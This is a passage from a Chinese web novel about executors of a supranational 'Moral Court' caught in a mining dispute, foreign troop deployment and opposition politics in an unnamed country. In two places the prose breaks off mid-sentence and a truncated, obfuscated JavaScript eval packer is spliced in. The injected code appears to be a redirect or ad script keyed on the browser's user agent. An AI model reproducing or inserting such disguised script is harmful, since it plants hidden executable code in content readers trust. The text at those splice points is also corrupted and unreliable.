“我不过是组织在此国的负责人,而且,我们筛人可不看国籍,和你们那反国家主义做法相反,我们可是很包容的。”小四耸了耸肩。 小一开口道,“这样的话,我——” “不行,小妹妹。”小四垂下眼,轻声说道,“我知道你想要的是什么,你比我当年聪明多了,但我们组织筛人也不测智商,只看背景,政治背景。” “可,可我也不想要这样的政治背景呀!”小一急切地说,“您也知道的吧,我的母亲既然没有带走我,那就和放任我在饿狼群中独活没有区别了,我可以保证,不,我根本没有可能再和原势力的任何人联系了,我——” “…你这样的例子我见过很多。”小四的表情没有起伏,“我们也接受过,结局都不太好,在那之后我们就不再接受这样的风险了。抱歉,我没法帮你。” “…那您呢?”小一问道。 小四看了眼小象,说道,“我本就不是这个国家的人。” 缓缓地,小一的头垂了下来,好像要断掉了一般。 小四只是沉默着,垂着眼看向她,似乎在回忆什么一般,办公室内再次安静了下来。忽然,她办公桌上的手机响起震动声,长鸣不止,她快速起身取来查看,随即,脸上多了些不带意外的微笑。 她并没有离开办公室或关上手机,反而转身打开了墙上的电视,调高音量,所有人的目光都被那位记者及其身后人吸引了视线。 实时卡顿画面中,熟悉的支持国外交部负责人正皱眉发表言论,一旁的翻译与手语翻译手忙脚乱,脸色难看。 “我国认为,道德法庭的判决已严重侵犯它国主权,这是一种生态殖民主义,我们坚决拒绝承认判决的合法性。” “…这是啥啊。”小象疑惑道,她连忙翻出判决内容查看:命令集团关闭业务,处以罚款,将矿区移交给国际托管委员会管理,进行生态修复和利益重新分配,本国政府涉案高层需下台并受惩。 “总算是要动起来了,不过,别急。”小四笑了一声,换到本地频道。 “我国宣布进入紧急状态,正式指控道德法庭与我国反对派勾结预发生政变,在此正式请求支援国依据双边防务条约对我国特定区域进行军事保护。” 小一的脸色瞬间苍白如纸,眼镜歪了都没去扶。 小四转头,看向小象问道,“那么,执行者大人,现在我们该怎么办呢?您现在似乎也不需要那份‘借口’了吧,瞧瞧,这些人多体贴。” “…法庭不干涉国家的政治选择。”小象看着电视屏幕回答道,“违反法庭判决的人会直接被执行处罚,无一例外,但也仅此而已。” “也是,不然我们也不会出现了。”小四点头,“之前上庭的时候我就有感受到一点,那位审判长是不是挺讨厌人类的?说是为人类解决问题,接管人类的未来什么的,但作为人类我可没觉得问题有变少,未来有得到保障?” “…人类能解决的问题就不需要我们。”小象回头,“至于未来保障,你该去找那提出来的外星人抱怨。” “…您可真是会难为我。”小四冷笑一声。 小象没有回答,她忽然就意识到,自己所为能造成的影响是可有可无的,那纸认罪书在新闻被播出的一瞬间就和张白纸没什么区别了,法庭不再需要它,内容也不是本人写下的。唯一知道其内容的就只有她,以及小一,两个不相干的人。 我到底是为了什么而来这里,又要为何而离开这里呢?她陷入了这样的迷茫。 通讯器震动,小象一愣,迅速回过神来将其取出,是书记发来的消息,她停顿片刻,点开,阅读。 “抵达以下地址,使用执行函作为凭证,从被告人的托管方手中取得货物,并送到目标手里。” 是新的任务,她眨眨眼,点开了导航。 取货点与交货点之间的距离极尽,也离她很近,小象抬头,看向取货定位目标,那是小二。随即,她转头,看向送达目标,那是小一。 她突然就笑了。 “…怎么了?执行者大人。”小四看向小象,疑问。 执行人不需要思考任务的前因后果,只需要执行,小象觉得自己几乎是被这条守则控制了躯干手脚和发声器官一般,面朝小二,一步,两步,到了,取出执行函,开口,“请交给我被告人托管在你手中的货物。” 新闻播报还在继续,本不看不听也不言语任何内容的小二终于抬起眼,她看向小象,又看向小一,她什么也没有说,从随身携带的手提箱里取出了一个纸包裹,就像是一块被提前准备好的蛋糕,扎绳一扯就会松开。 小象接过,转身,甚至不需要迈步,一低头,小一正看着她,她似乎意识到了什么,她伸出手,她准备好了。 “请在这里签名。”小象交出货物,通讯器和触控笔,小一签下自己的名字,她的手有些颤抖,但字迹优美,和她母亲的字迹几乎没有差别。 “支持国表示,将以保护侨民和关键资产和目标,派 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小象回头看她,这脸变得快的小四微笑更亲切了些,看着小一问道,“这个提议如何?现在没有比这更好的买卖了吧?” “…现在,或许没有了吧。”小一抬头看向小四,直视其双眼开口,“请问,如果您得到了这公章,您会怎么做?” “…看到这个了吗?”小四指了指电视上还在手舞足蹈说话的支持国官员,“不久后,或许就是明天,不,今晚吧,就会有一堆外国人说着‘保障你们国家的未来’的国际语言在外头街上三米一个地站岗了。而本地人不说,本地执法者要么被遣散要么被管束,我要做的就是在那之前将她们提前聚集起来,哪怕原来不对付,有公章的情况下她们也会选择站在我这边的。” 她不对语气里的野心做丝毫掩饰。 “但您作为道德法庭申诉人,个人形象信息早已公开,此时再这样做毫无疑问是站在风口浪尖了,别的不说,政府那边一定会极力反对您的,甚至会强制收回公章也说不定。”小一回答道。 “所以,时间很重要。”小四的笑容没变。 “有更好的选择。”小一站起身,扶了扶眼镜冷静地说道,“让我来作为公章持有者行动,一来,您知道我绝对会站在您这边,二来,哪怕原来我的政治背景不适合加入你们,现在这种情况下,我的背景所带来的利益也绝对大过未来可能会有的风险。” 最后,她深吸一口气,冷静地说道,“第三点,我认识很多,与您有相同想法的人,她们信任我,我相信,现在她们也愿意帮助我了。” “…是谁?”小四抱起手问道。 “我的同学。”小一笑了。 沉默片刻,小四抬手关上了电视,看向小象问道,“那么,执行者大人还有其它问题需要咨询吗?” 小象没理她,只是向小二点了点头,和小一说,“我不该留在这的,我要走了,保重。” “…保重,小象小姐。”小一轻声说,“愿我们还有相见的那一天。” “不,希望我们再也不会见到了。”小四说。 小象没说什么,任务完成,她该走了。 30. 道德法庭与这个世界-中-1 虽说送货任务完成,但小象暂时还不能离开这个国家,因为小三找她,如果不理这条消息的话她总觉得对方回了法庭后会想办法暗杀自己,于是她去了。 补给处内,小象看着小三一边用通讯器打电话一边收拾装备,即使在室内她也没摘下斗篷的兜帽,上蹿下跳的样子十分灵活。 全世界所有执行部门补给处都以一个标准建设,主要用于休息,医疗,以及个人安全保护。虽然不知是怎么做到的,但作为受益人的小象不会抱怨,眼前这空间比本地大多数酒店都要干净。 “按照调查部门的说法,那工程负责人现在还在矿区驻地里,我得自己进去找,现在这里手机什么的用不了,对,不知道那边是什么态度。”小三语气气愤,“我这边?就我一个!还有那个新来的送货的,估计枪都没开过。赶紧叫点人来支援啊,我刚才看了,那一圈的人都带枪,别是要我死进去吧!” 小象忍不住笑了,小三回头瞪了她一眼。 所有执行者都提前被植入过一种特殊芯片,大概位于后颈脊椎处,在执行者遭受致死打击后会激发其体内提前安置的修复稳定装置,若是失去意识芯片也会接管中枢短暂代替其进行决策,并将受损体转移回法庭进行修复。芯片也可以由体外的发信器触发,有增幅身体各项能力的功效,发信器由执行者自行保管,小象就直接把它挂在了耳朵上。 但即使如此,若是本人遭遇毁灭性打击也就没办法了,不过这种情况通常不会发生,至少建庭十年多来还没有执行者死于核弹爆炸。 “新闻?我当然看了,笑死人了那是要合谁的法啊,不是还说指控我们和这里反对派的人勾结吗?”小三继续打电话,“不,我当然是不清楚的,不过这儿的政府也没什么用了,指望她们帮忙还真不如问问反对派的人准备怎么做。” 小象竖起了耳朵。 “…书记还是说任务不变,也正常,我们从来不管这种事,不然风评怎么这么差呢?我还是去抓集团那个人,那个官员不用管了,你那边直接走程序就行,对。”小三转过身,“行,后面有消息再和你说,你赶紧叫点人过来知道吗?” 通话结束了。 “那个跑路的官员怎么办?”小象问道。 “和我打电话的人去处理了,政府官员拒绝受惩就由更高负责人代替。”小三冷笑一声,“你知道这件事本该是你负责的吗?送货的,上一任可比你勤快多了,海关那边发生的事都用不上别人帮忙,人家自个就能解决,你看看你,到现在都没去看过吧?” “…抱歉。”小象小声说。 执行者共十三人,由书记直接管理,无下属部门,每个人都有自己的工作方向,比如小象就是国际物流方向,小三就是个人监管拘留方向,而那位与其通话的则可能是组织监管或救援方向的,看任务内容。 这声抱歉让小三楞在原地,她本想是借此话问出对方是否做了些多余的事。早听说新来的做事都有点死板,这道歉让她心里都有点不好意思了,她可不想做个会欺压新同事的坏人。 “…行了,书记有给你安排新工作吗?”小三问道。 小象一愣,“根据执行人守则——” “不可交互任务内容,但你可以和我‘普通聊聊’,明白吗?”小三摊手,“别死脑筋了,以后我们当同事的时间还长着呢。而且我这不是已经把我的任务内容告诉你了吗?” 被小三盯着,小象看着自己的行李箱纠结了好一会,才开口道,“我来之前,书记有让我带上一个东西,让我到时候听安排把东西交给收货人…” “哦…”小三若有所思,“来之前就带上了,没说时间地点的话就是需要看情况,那就是一会可能要用上的…有我在的话本来不需要别的装备了,果然,那个集团的负责人大概率已经不在那了吗…” “…那,那你要…?”小象硬着头皮问道,“现在离开吗?” “你傻了吗?任务还没完成我去哪?”小三没好气地说,“问是为了有个心理准备,咱书记什么时候考虑过我们的心情问题?要想别被气死就只能自己想办法调解。” “哦哦…”小象点了点头,顿了顿,又问道,“那,即使任务没有意义,我们也要去完成吗?” 闻言,小三转头认真地凝视小象的眼睛,小象忍不住低下头,又被小三捏着脸抬了起来。 “我问你。”她冷声道,“你是为了做些什么有意义的事情而加入法庭的吗?” “…倒也不是。”小象小声说,“但是…道德法庭…” “道德法庭是为了解决人类无法解决的问题而存在的,绝对公平公正且权威的组织。所以你作为道德法庭的执行人,所作所为都一定也是有意义的。”小三说道,“你是这样想的吗?” 小象沉默了。 “法庭的判决是有意义的,法庭下派的任务是有意义的,执行部门的存在是有意义的,但执行人的行动不该冲着意义去。”小三说,“时间长了你就懂了,你眼前所看见的不是全部,不要为短暂的迷茫停住脚,明白了吗?” “但,但是。”小象忍不住开口,“如果甚至连法庭下派的任务都无法完成,这到底…说到底为什么要选我当执行人呢?这个世界上有远比我优秀的人吧,我,我真的——” 小三松开了手,沉默片刻,她开口道,“我也这么想过。” “…你?”小象揉着脸疑惑。 “…你是觉得我优秀还是觉得我自大?”小三不满道,又叹了口气,插着腰说,“听好了,你本身是否聪明,是否强壮,是否有超能力什么的都不是书记挑选执行人的基准。而且说实话都没那么重要,我们再优秀也是有限度的,而法庭不在乎我们作为人类能带来的力量,只看我们是否‘合适’,因为法庭会按需给予我们需要的东西。那些一层档案你都看过了?你觉得那是人类能自己解决的问题?” “…不觉得。”小象回答。 “那不就成了?”小三摊手,“好好完成眼下任务吧,反正你也看不到更远的东西了,别学那群搞哲学的。” “…谢谢。”小象笑了,有些不好意思地说,“谢谢你,安慰我…” “…总之。”小三清了清嗓子,“既然你手上还有东西得留在下面,就暂时跟着我一起行动吧,等增援的人到了我们就动手。” “嗯嗯。”小象点头,又问,“假如你推测的是真的,那我们去了也找不到人,这样的情况下我们该怎么办呢?” “…看情况,看那人失踪是主动还是被动,如果是主动还好办,就让增援的顺便处理了就行。如果是被动的话…”小三顿了顿,说道,“你也知道,咱们法庭最近也有在转型了。” “…有吗?”小象疑问。 “你就当有。”小三也懒得解释多的了,“之前哪分一二三层这么麻烦啊,就只有违反条例这一种情况。但一层那些东西你也看过了,那些本来是不公开信息直接处理的。但处理的过程被一些人看见了,三四年前,就有几个国家联合起来控诉法庭做法,额,不人道。总之为了亲民一点,法庭就额外考虑了各国家法律接手案件,也允许各国家执法者作为法警驻扎在岛上,并开始被骂管的宽了。” “…原来如此。”小象缓慢地答道,这话听着好像是在说道德法庭在考虑人们对其看法,但根据小四话中审判长的态度,这又是矛盾的。 “总之如果那个人是主动失踪的,也就意味着这次的冲突就不仅仅只是一次简单的喊话活动,那些一直以来反对法庭的国家或许要开始做些什么了。”小三说着却也没多紧张,“正好经济法庭的审判长最近好像在研发点新东西,如果这次事情闹大了或许有机会瞧瞧。” “得闹多大?”小象疑惑,“而且,正常来说审判长们不是不被允许出门动手的吗?” “…你这话说的好像她们是什么危险宠物。”小三笑了笑,“正常来说不行,但如果事件上升到一层,或者那些人打上法庭了,那就另当别论了不是吗?” “这种事情,以前发生过吗?”小象好奇。 “刚建庭的时候经常发生,那时候岛还没建好呢,作为中心的法庭也才有个雏形,很多设施不太好控制,后来就没人去了。”小三含糊地说,“总之你后面慢慢就会知道这些的,不行就去问书记。” “…行吧。”小象点头。 在小三筹备任务期间,小象就躺在沙发上用通讯器上网,得知有外国人在网上宣传说道德法庭是另一国家操纵的傀儡组织,视频短文解释得头头是道,每个上网的人都少不了读上几句的。往下一翻,支持国的武装部队增援抵达现场的新闻播出,成功让小象得知自己一会要面对的是个什么场面,她在内心估算了一下,她打不过任何一个。再往下一翻,支持国的同盟国表示已对法庭全球信息网络发起大规模瘫痪性攻击,小象愣了愣,赶紧再往下翻,加载图标转了转,新文章弹出,小四的笑脸出现在眼前,小象面无表情地把网页关掉了。 书记忽然发来消息,小象心虚地坐直了点开,是新任务,让她去取一个快递包裹,但没说送到哪去。她也不纠结了,起身就准备出发,小三见状也跟了上来,说是怕她死外头把货丢了。 补给处位于该国首都的一处市场角落,现在那些小铺消失,人都躲到窗户布帘后面去了,徒留地上积水与泥脚印。街道上,就如小四所说的那样站了许多一看就不是这儿的土地长起来的人,一个个装备精良到让人不敢摸。那些人都带着头盔面罩,视线从中扫出,刮着眼前的一切。 “…我觉得,我们最好不要被那些人看到。”小象谨慎地说。 “算你有自知之明。”小三点头,“我提前调查过小路,走吧。” 她所说的小路就是市场与居民里的小巷,七扭八歪的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“根据执行人需求,道德法庭指派我协助完成任务,后续二位在本国的一切行动都由本机体随行并提供帮助。鉴于现在本国处于紧急状态实行信息管控,公约所限我不便与主机及卫星共通数据,无法进行实时打击,一切活动受限于机体极限。”她的声音一开始还带着些不自然的顿挫,最后越来越平,表情没有任何变动,“本机体为轻量型调查用三级人型非自动机械体,特长为高速行动,重物搬运,环境侦察,以及其它,需定期更换电源。机体由我负责手动操控,我会根据你们的命令行动,请称呼我为小五。” 重点在于“非自动”,小象心想,根据公约,自动机器人是不可以被设计得这么像人的,但非自动就不同了,非自动装备无智能系统,有人为其行动负责,那自然是怎么设计都可以。即使如此,将一个机器人做到这个程度也是一种相当耗费成本的事,或许是研发人员特别有热情吧。 “…机器人啊。”小象绕着小五看了好几圈,“好厉害,怎么看都和人没什么区别,这也是我们法庭研发的吗?我从来没见过呢…” “严格来说不算,按公约,法庭没器械研发部门的。”小三也凑过来看。 国际公约:联合国人类道德与伦理至高法庭不允许自主研究/开发/创建任何有可能伤害人类的人造物品。 “是的,本机体由巴别塔科技有限公司研发,目前属于试运行阶段。”小五一动不动地站在原地回答,声音没有起伏。 这个科技公司法庭里的每个人都知道,因为法庭所在的人造悬浮岛屿就叫巴别塔岛,也是巴别塔科技有限公司研制的。 可,这不也差不多了吗?小象在心里疑惑,但没打算说。 “哦…那不奇怪了。”小三凑到小五脸前,问道,“嘴唇皮肤都有纹路啊,也有鼻孔,你有味觉嗅觉反馈吗?” “没有。”小五抬起手点了两下耳垂,两边耳道内突然各伸出两根手指,扒住她的嘴角向上提,强行让她露出了一个微笑,“也没有实时情绪系统,得这样手操。” “哇——”小三吓了一跳,“这个好恶心!” “…是吗?”小五沉默片刻,又点了点耳垂,那两根手指收了回去。 小三觉得自己这样或许有点伤人心了,她顿了顿,有说,“不过想法挺有意思的,对吧?” “嗯,对!”小象点头。 “…有意思?要不是你们非得要强调人性化,我根本就不打算加这功能,还浪费了我主机算力。”小五面无表情地说,“为了什么?就为了让你这样的人说一句‘有意思’?” 这段话成功让这垃圾堆冷场,小三深吸一口气,用威胁的口吻问道,“你是哪个部门的?” “…不便透露。”小五答道,抬脚走向屋外,“不要浪费时间,开始行动。” “喂——”小三非常不满,“是你得听我的命令!” “那个。”小象指了指地上摊着的箱子,“这个箱子怎么处理?” “哦。”小五平滑地转过头,“你的本次任务已经结束了,它录了你的指纹,你可以选择带回法庭进行回收或自行留下,它和我的主机,用材相同。” 小象不太懂这主机是什么东西什么用材,不过对方既然这么说了那她也不打算客气,“那我留下了,谢谢。” “你应该的。”小五回答。 31. 道德法庭与这个世界-中-2 没了内容物的金属箱也就寻常手提包的重量,小象估算了一下,发觉小五这机体至少有两个成年人那么重,这还能是轻量型? 三人沿路返回补给点,期间小五未对沿途所见发表任何看法,她跑起来后倒是能看出来些机械感了。那位操作人大概没考虑过让机体看上去人性化一点,行动逻辑以高效率为唯一目标,四肢弯折角度夸张,穿梭间丝毫不考虑磕碰问题,反倒是磕碰到她的东西多少都破损了。 “接下来准备前往矿区。”小三说道,“如果能找到集团负责人最好,找不到就得找到尸体或者其它下落。到时候你掩护我进去并协助我进行扫描,最好不要惊动那些警卫,至少在确认目标的下落前不能惊动,明白了吗?” “我明白了,不过,她也要去吗?”小五指向小象,“我判断她在目标场合不具备足够的自保能力。” “她是送货的,身上还有个未完成的空白任务。”小三摊手,“谁知道书记怎么想的?而且她跟着我们总比自己死外面了强,现在这情况捞尸体都难。” “额…”小象无话可说。 “书记…”小五面无表情地说道,“我明白了,我没有其它问题。” “不错。”小三勉强满意地点了点头。 在行动之前,小象给自己取个用来代替代号的代号,就叫小象,因为她发现法庭执行人在此地上了黑名单,自报家门有生命危险。她没纠结多久,毕竟她抵达这个国家不久后就开始考虑这个了——几乎每个人,包括海关,在得知她的身份后就会拿异样的眼神看她,无论信不信。 而小三也有这样一个代号的代号,据说是她的真名,她语重心长道,“不仅是这儿,以后你去别的地方做任务,非必要也别把这个身份拿出来用。” 想起小四的态度,小象很快便接受了,发出疑问的却是小五,“你们不喜欢这个身份吗?” “…你要是也被绑起来用脑机连过就问不出这个问题了。”小三冷笑。 “额。”小五像是无法思考这个问题一样顿住了。 “…真的假的。”小象吓了一跳,“那时候该怎么办啊…” “提高警惕,有芯片的情况下我们总不至于无法反抗。”小三摊手,“而且移植芯片的时候,我们脑内也被设下过针对脑机的认知障碍屏障,这种情况只要想办法逃走就可以了。” “…这要怎么逃走?”小象疑问。 “我的做法是提前在心脏附近装个炸弹,届时引爆让芯片被启动…”小三看着小象越来越难看的脸色忍不住笑了,“你的职位可安全得多,送货送货,把货送到不就结束了?反正这代号又不好听,何必到处说。” “…我还是希望你们能叫我小五。”小五说,“我也更倾向于用执行人代号称呼你们,因此,我会减少与你们对话的次数。” 她话本来就少,二人没有意见。 行动时间挑在夜间,三人通过小路离开补给点,搭乘火车前往矿区——毕竟那并不在首都,这国家境内大多数交通工具都不查身份信息,交了钱的就能上车,车上人又多,即使是在特殊情况,浑水摸鱼也没那么难。 “我会负责守夜。”小五说,“你们可以休息,非必要情况我不会呼叫你们。” “你不用休息吗?”小象问道。 “…我?”小五疑惑地指了指自己。 “你。”小象点头,“总不能你背后其实是有两个人在操作这台机体吧,还是说你其实有趁我们没说话的时候偷偷跑去睡觉?” “…没有这回事。”小五回答,“我经过的特殊训练,不需要睡眠这样的长时间休息时间,这台机体也没有任何自动功能…总之就是这样,不要再问了。” “行吧。”小象也没再说什么。 “所以你到底是哪个部门派来的?”小三疑惑,“总不能是书记吧,她可从来不管执行部门以外的人,庭长也不乐意她插手内务。” “我不听令于书记,我…是战争法庭下属调查部门,终极武器监管处的成员,负责庭内外部分机械的维护与试运行工作。”小五回答,“我只能回答这么多,不要再问了。” “行吧行吧。”小三嫌弃地说,“搞得好像我在套话一样,咱们对外风评本来就不行,内部就别这样防着了。” “行。”小五杵了两下头,动作僵硬得像个机器人,不对,小象心想,这本来就是台机器人。 火车跑得不快,车轮很吵,但车厢里得安静像是没人呼吸,停靠时间会有武装成员上车厢巡视,都没人下车抽烟了,提着枪的人经过时乘客甚至都不敢把视线从自己的脚背上移开,生怕被抓走。 车再次开动后,小象听见有人在低声交流,语气不安而空虚。 “…喂,这些人看着不像是咱们国家的啊,那枪可…是怎么回事啊…” “你没看新闻?是隔壁大国来的,之前新闻上派来个人和咱们总统握手的那个,说是什么,支持国?好像是为了矿区那边的事来的,上次道德法庭的判决被那些人说不合法,不接受,要闹,最近街上就突然多了很多这样的人…” “哇…不会是要打仗了吧?不要啊…我侄子才从战场跑回来的,这要又碰上了…该怎么办啊?” “大人物的想法我咋知道?诶…要是没那回事就好了,咱们是穷,但至少没强制征兵。” “…都一样,那大国支持也没支持到我们,法庭解决问题也没解决我们的问题,倒是后果都是我们在吃,这些大人物都一样…都一点不在乎我们…” “可不是?要说咱们那总统也是…明明选举的时候说话那么好听,现在呢?” “你不知道?有个市长之前都跑了,哪里像是在乎我们死活的样子?” “跑了?我可听说…” “听说什么?” “…下车了给你说,总之,咱们得多为自己考虑,指望别人可不行。” 这样的对话很快就被火车前进的巨大轰鸣淹没,听不见了。 下车后,三人先是抵达矿区对其进行侦察,确认行动计划后,又挑了个雨夜开始行动。 毫无疑问,那环球资源集团试图从河道中找金子时完全没考虑过金子主人的想法,山岩树草藤,一切从地上爬起来的自然生物都被人为痕迹破坏得惨不忍睹。那一栋栋帐篷似的临时住房就那样堂而皇之地在被推平的地面上矗立,周围守卫森严,就好像那里头也有黄金似的。 与其说守护“矿区”,那军队更像是在守护那些帐篷。 “…那群人,早知道我们会来。”小三冷笑一声,又疑惑道,“如果说那负责人已经不在这里了,那这又是在看着什么东西呢?” “…而且…”小象气喘吁吁地说,她这才勉强爬上了三人侦察用的山坡,“而且,那个支持国家的态度也有点奇怪。还记得那个官员的事吧,明明之前怎么也不愿意放人,但现在都已经闹上新闻了还是不把这件事拿出来用。那个人的公章已经不在手里了,除去政治身份,难道说她还有别的用处吗?” 小五沉默,她从来不参与谈话,此时待在原地的样子好像山上的石头之一。 “…你调查的时候有发现什么线索吗?”小三问道。 “没有。”小象摇头,“她把书房卧室清空,让管家照顾好她孩子,就直接离开了。” “…这不是…”小三皱起眉,忍不住说,“照顾什么照顾,这不是推着那两人送死吗?这情况下,我可想不出两个普通人要怎么活。” “…她们自己会想办法的。”小象笑了。 “算了。”小三没再纠结,“先开始行动,找到目标下落再说。” 小五无愧她“负重”的特长,背上小象,三个人的重量落在地面上的声音还没雨声大。小象发现她皮肤有体温时相当惊讶,如果说这也是追求“人性化”才添加的功能,那对于一个非自动无智能机器人而言确实是有些多余了,操控机体的人根本无法感受到这些,机体也不需要靠体温来辨别是否感染了病毒。 处理好监控信号之后,三人没惊动警卫,悄无声息地潜入了最内侧的建筑,侦察之后发现这里没有目标在。早有准备的小三没有丝毫懊恼,继续调查了剩下的所有帐篷,经小五的扫描,集团负责人确实不在这里。 要离开吗?小三思索着,但又想起小象先前所言,思索片刻转头问小五,“你有数据快速阅读总结功能吗?” 小五点头。 “你把她放下,去把主帐篷里所有形式的数据读了,将所有与‘矿区开采结果’的内容规划成表格,将其与隔壁生命法庭化学调查组的数据库对比,权限我发,如果发现有异常项目就回来告诉我。”她吩咐道。 “我明白了。”小五点头,放下小象,转身就走了。 “…你怀疑这里的人挖出了怪东西?”小象问道。 “只有这个可能了。”小三点头,“你也别闲着,去和我抓几个门外士兵问话。” 二人分别挑了几个后来的和新来的守卫问话,结果是负责人自从某次离开矿区后就再也没回来,而士兵驻守是因为任务,具体原因不明。 “…这个人也跑路了?”小象看着小三打晕士兵,“官员也就算了,负责人…这个集团的总部不是都已经接受判决了吗?” “那就是还没跑出国。”小三若有所思,“先等小五回来吧。” 小五带来消息,矿区里确实挖出了非重金属。 “就数据库对比,最类似的项目是,石油。”小五说。 “…难怪了…”小三一拍脑袋,“重要战略资源得归当地政府管,那集团负责人大概是和那官员没谈拢,一个跑了把消息带去给隔壁国,一个跑了把消息带给外商。现在这里的人大概是就是在看守挖掘数据和井口,就是不知道本地政府对这一消息是否知情了。” “还有一点。”小五继续说,“虽然作为材料功能与石油类似,但是报告也显示检测出暂无法分析的放射性物质。挖掘井位置我找到了,仓库里也有些样本,但这具机体没有物质分析功能,具体得带回法庭或者让化学组的人看,现在缺少一个绝缘性容器。” 通讯器震动,小象莫名有种预感,她查看信息,是书记。 “将货物交给目的地收货人。 从目标手里取得货物,交给目的地负责人。” 小象点开导航,目标不出意外就是小五,而另一处目的地则在另一国家——化学组在本国不设有部门行动点。她已经不再会为此感到惊讶了,只是些许无奈还是不可避免地上浮到脑中,让她感觉手里的东西很沉。 小五带着黑匣子一来一去没过多久,小象接过,它没重多少。 “…那么,我得走了。”小象叹了口气,“你们要继续留在这里行动吗?那——” “不,你们不能分开。”小五打断道,“我的任务是协助‘你们’完成任务,本机体不具备分裂功能。” “…你不会是在说笑话吧?”小三谨慎地问道。 “…我不是。”小五面无表情地回答。 小三和小象面面相觑,没人笑得出来。 “那么,这样吧。”小五开口,“我将那位负责人调过来,连带着需要的仪器也一同送过来,如何?” “…能轻松点我当然是没意见。”小象说。 “不过,你要怎么做?”小三疑问,“你一战争法庭调查部门的哪来的权限跨法庭调人啊?” “…总之我会想办法,你别问了。”小五说。 “…行。”小三叹了口气,“总之,接下来我要顺痕迹继续去找那负责人的下落,走吧,趁那些人报告我们的行动之前行动起来。” 从那位负责人最后离开时留下的痕迹一路追寻的话——确实什么都找不到了,几场雨过后什么痕迹都不剩下。但小三作为负责抓人的执行者也对这种情况有经验,她收集来这位负责人的联系记录,推断出其可能的投奔目标,一一寻过去,最后得到了一个结论:那位负责人大概是被谁中途截获了。 “…我要杀了那家伙。”小三摊在补给点沙发上,对天上的道德法庭喃喃自语,“我要杀了,杀了,杀了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“…好吧,你在这方面很严格呢。”小象为研发部门的人在内心默哀,又问道,“对于‘往机器人身体里塞内脏’这一设计,你就没找出任何一处优点吗?” “没有。”小五回答得很快,“或许对你们而言有吧,总之,对我而言没有。” “…我们?”小象疑惑地指了指自己,“我可没有吃不完的蛋糕需要你帮忙吃掉。” “…总之就是这样,不要再问了。”小五说着,将自己重新拼好,整装待发。 在下一步行动之前,那位化学组的分析师抵达了补给处。 “我是小六,高危化学例分析救援队第三小队负责人,应要求来协助分析特殊标本。”神色疲惫的标准研究人员头发杂乱卷翘,疲惫地打了个哈欠道,“各位执行者大人你们好啊。” 小象将黑匣子递过去,任务完成。 “你的装备呢?”小三问道。 “没带。”小六摊手,“我提前要了这里一处民间实验室的使用权,分析好了把数据传回去就行,或者我看看其实也能看出来点什么,到时候——” “留下痕迹了怎么办?!”小三不满道,“你也是傻的吗?看不出我们现在在这个国家有多不受欢迎?” “额…”小六吓了一跳,“那,我现在去叫人送设备?” “…太慢了。”小三看向小五,“这样,你到时候去销毁现场留下的证据,行吗?” “我明白了。”小五点头。 闻言,小六心想这不也和原来她所想的差不多吗?这执行者还真和传闻中的一样喜欢大惊小怪。 “…你联系的那个人是谁?”小三继续问小六。 “…一个本地的,化学家?”小六不确定地说。 “这个国家真的有‘本地化学家’这种人吗?”小象疑惑,“你是怎么联系上的?” “就来的时候,我问送我来的司机‘这里有没有能做化学品’的地方,就拿到了一个电话。我打了电话后说了我需要的设备要求,对方问了我要干什么,我当然没说实话啊!我就说要自己做点药物什么的,对方就答应了,然后…”小六越说声音越小,最后直接闭上了嘴。 “得,是贩毒的。”小三扶住了额头,“你要真去了就等着被套麻袋吧。” “…有那么夸张哦。”小六挠了挠脸,心里不太信。 “你去了就知道是不是夸张了。”小三冷笑。 “我们不是道德法庭的?”小六疑惑,“如果对我动手——” “你想自己试试‘如果’之后的遭遇吗?”小三不耐烦地打断道。 “…不想。”小六回答。 “…不过,或许我们可以去和那个人谈谈。”小象开口,“我们正好缺少线索不是吗?如果那真是黑色组织,那也是最好的情报来源了。” “…也有道理。”小三思索片刻后点头,“就这么办,走吧。” 小六再次联系上对方,另外三人跟随,小象看着窗外的路越来越眼熟,直到车停在那熟悉的办公室外,她才不得不承认这就是她熟悉的那个办公室。 也是,如果要说这个国家的“黑色组织”存在于某处,听令于谁,那人毫无疑问就是小四了。 “好久不见了,执行者大人。”小四像是从没说过分别时的那句话一般微笑着与小象握手,并分别与其它几人问好。 不过好在,如果合作对象是小四,那至少不需要担心小六被套麻袋拉去制毒的可能性了,她最近相当忙,这从她眼下青黑也能看出些许。 原因倒是不难猜。 “好久不见了,小象小姐。”小一微笑问好。她也在这里,几日不见,她从曾经那茶桌对面说话偶尔磕磕绊绊的年轻人蜕变为了一位合格的辩论者,眼镜也为她的话增添了几分可信度,小象见过她在电视上与其它政客对座的场面,已经不会再有人因为她的年龄而小看她,只会感叹一句:这个国家的孩子都早熟。 小二站在她身后,朝小象微微点头,一如既往。 32. 道德法庭与这个世界-中-3 “好久不见了。”小象笑着点头,回头介绍道,“这是我之前的任务目标,小一。” “哦。”小三点头,“就你之前在人家里城蹭吃蹭喝的那个。” “哈哈哈!”小四笑了,“执行者大人可不该受此指责,若随意一点恩惠就要被记下,那我们呼吸也得向地球交税了。” “恩惠可不敢当。”小一连忙摆手,“待客礼仪是尝试,我们家…”说到这,她缓缓停了下来。 “她正好是来找我谈家里的事的。”小四指了个大概方向,“她们家的屋子前几日被一些蒙面暴民丢了手雷还包围起来,现在是进不去了。最近事态严峻,这可不能轻轻放过,没错吧小一小姐。” 小一沉默片刻,郑重点头,“正是如此,这次的处理形式必须要强硬些了。” 想起那从桌边看见的美丽花丛,小象惋惜道,“那样的屋子在这个国家都找不出几个吧,那可是小二管家的心血呢,居然就这样被炸了…” “与其说是心血,不如说是简单的‘劳动成果’吧。”小二微笑道,“无论是怎样的废墟,我都有自信能让其焕发出足以令来客露出微笑的美丽。而且,现在恰好是上一季花朵快要枯萎的时候,那样的逝去并不值得您惋惜的,小象小姐。” 